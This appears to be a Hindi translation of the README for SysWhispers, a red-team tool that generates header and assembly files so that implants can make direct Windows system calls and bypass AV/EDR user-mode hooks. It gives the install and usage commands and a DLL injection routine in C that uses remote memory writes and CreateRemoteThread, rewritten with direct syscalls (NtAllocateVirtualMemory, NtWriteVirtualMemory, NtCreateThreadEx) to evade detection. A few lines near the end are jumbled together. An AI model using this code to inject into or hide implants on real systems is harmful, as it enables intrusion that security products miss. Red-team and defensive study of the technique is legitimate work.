
AV/EDR evasion via direct system calls.
SysWhispers हैडर/ASM फ़ाइलें उत्पन्न करके चोरी-छिपे (evasion) में मदद करता है, जिनका उपयोग इम्प्लांट सीधे सिस्टम कॉल करने के लिए कर सकते हैं।
सभी मुख्य सिस्कॉल्स (syscalls) Windows XP से Windows 10 19042 (20H2) तक समर्थित हैं। उदाहरण जनरेट की गई फ़ाइलें example-output/ फ़ोल्डर में उपलब्ध हैं।
विभिन्न सुरक्षा उत्पाद यूज़र-मोड API में हुक लगाते हैं, जिससे वे निष्पादन प्रवाह को अपने इंजनों की ओर मोड़ सकते हैं और संदिग्ध व्यवहार का पता लगा सकते हैं। ntdll.dll में वे फ़ंक्शन जो सिस्कॉल्स करते हैं, उनमें कुछ ही असेंबली निर्देश होते हैं, इसलिए उन्हें अपने इम्प्लांट में पुनः लागू करके उन सुरक्षा उत्पाद हुक के ट्रिगर होने से बचा जा सकता है। इस तकनीक को @Cn33liz ने लोकप्रिय बनाया था और उनके ब्लॉग पोस्ट में पढ़ने लायक अधिक तकनीकी विवरण हैं।
SysWhispers रेड टीमर्स को मुख्य कर्नेल इमेज (ntoskrnl.exe) में किसी भी सिस्टम कॉल के लिए हैडर/ASM जोड़े उत्पन्न करने की क्षमता प्रदान करता है, जो XP से शुरू होने वाले किसी भी Windows संस्करण पर काम करता है। हैडर में आवश्यक प्रकार की परिभाषाएँ (type definitions) भी शामिल होंगी।
इस और Dumpert POC के बीच मुख्य कार्यान्वयन अंतर यह है कि यह OS संस्करण को पूछने के लिए RtlGetVersion को कॉल नहीं करता, बल्कि इसे असेंबली में PEB को सीधे क्वेरी करके करता है। लाभ यह है कि एक फ़ंक्शन को कॉल किया जा सकता है जो कई Windows संस्करणों का समर्थन करता है, बजाय कई फ़ंक्शनों को कॉल करने के जो प्रत्येक एक संस्करण का समर्थन करते हैं।
> git clone https://github.com/jthuraisamy/SysWhispers.git
> cd SysWhispers
> pip3 install -r .\requirements.txt
> py .\syswhispers.py --help
# सभी समर्थित Windows संस्करणों के लिए सभी फ़ंक्शन निर्यात करें (उदाहरण आउटपुट/ देखें)।
py .\syswhispers.py --preset all -o syscalls_all
# सामान्य फ़ंक्शन Windows 7, 8 और 10 के लिए संगतता के साथ निर्यात करें।
py .\syswhispers.py --preset common -o syscalls_common
# सभी संस्करणों के लिए संगतता के साथ NtProtectVirtualMemory और NtWriteVirtualMemory निर्यात करें।
py .\syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory -o syscalls_mem
# Windows 7, 8 और 10 के लिए संगतता के साथ सभी फ़ंक्शन निर्यात करें।
py .\syswhispers.py --versions 7,8,10 -o syscalls_78X
PS C:\Projects\SysWhispers> py .\syswhispers.py --preset common --out-file syscom
, , ,_ /_ . , ,_ _ ,_ ,
_/_)__(_/__/_)__/_/_/ / (__/__/_)__/_)__(/__/ (__/_)__
_/_ /
(/ / @Jackson_T, 2019
SysWhispers: जब आप कर्नेल से फुसफुसा सकते हैं तो कॉल क्यों करें?
सामान्य फ़ंक्शन चुने गए।
पूर्ण! फ़ाइलें निम्नलिखित स्थान पर लिखी गईं:
syscom.asm
syscom.h
CreateRemoteThread DLL इंजेक्शन के पहले और बाद का उदाहरणpy .\syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls
#include <Windows.h>
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
WriteProcessMemory(hProcess, lpBaseAddress, dllPath, strlen(dllPath), nullptr);
CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpBaseAddress, 0, nullptr);
}
#include <Windows.h>
#include "syscalls.h" // जनरेट किए गए हैडर को आयात करें।
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
HANDLE hThread = NULL;
LPVOID lpAllocationStart = nullptr;
SIZE_T szAllocationSize = strlen(dllPath);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
NtAllocateVirtualMemory(hProcess, &lpAllocationStart, 0, (PULONG)&szAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
NtWriteVirtualMemory(hProcess, lpAllocationStart, (PVOID)dllPath, strlen(dllPath), nullptr);
NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, lpStartAddress, lpAllocationStart, FALSE, 0, 0, 0, nullptr);
}
--preset common स्विच का उपयोग करने पर निम्नलिखित फ़ंक्शनों के साथ एक हैडर/ASM जोड़ी बनाई जाएगी:
win32k.sys) से सिस्टम कॉल समर्थित नहीं हैं।ModuleNotFoundError।
pip3 install -r requirements.txt से आवश्यक मॉड्यूल स्थापित हैं।syscalls.h में typedefs पहले से परिभाषित हैं तो प्रोजेक्ट संकलित नहीं हो सकता।
--preset all शायद ही कभी आवश्यक होता है)।syscalls.h से हटाया जा सकता है।यह स्क्रिप्ट @Jackson_T द्वारा विकसित की गई थी, लेकिन यह कई अन्य लोगों के काम पर आधारित है:
विशेष धन्यवाद @Dcept905 को परीक्षण और सुझावों के लिए।
यह प्रोजेक्ट Apache License 2.0 के अंतर्गत लाइसेंस प्राप्त है।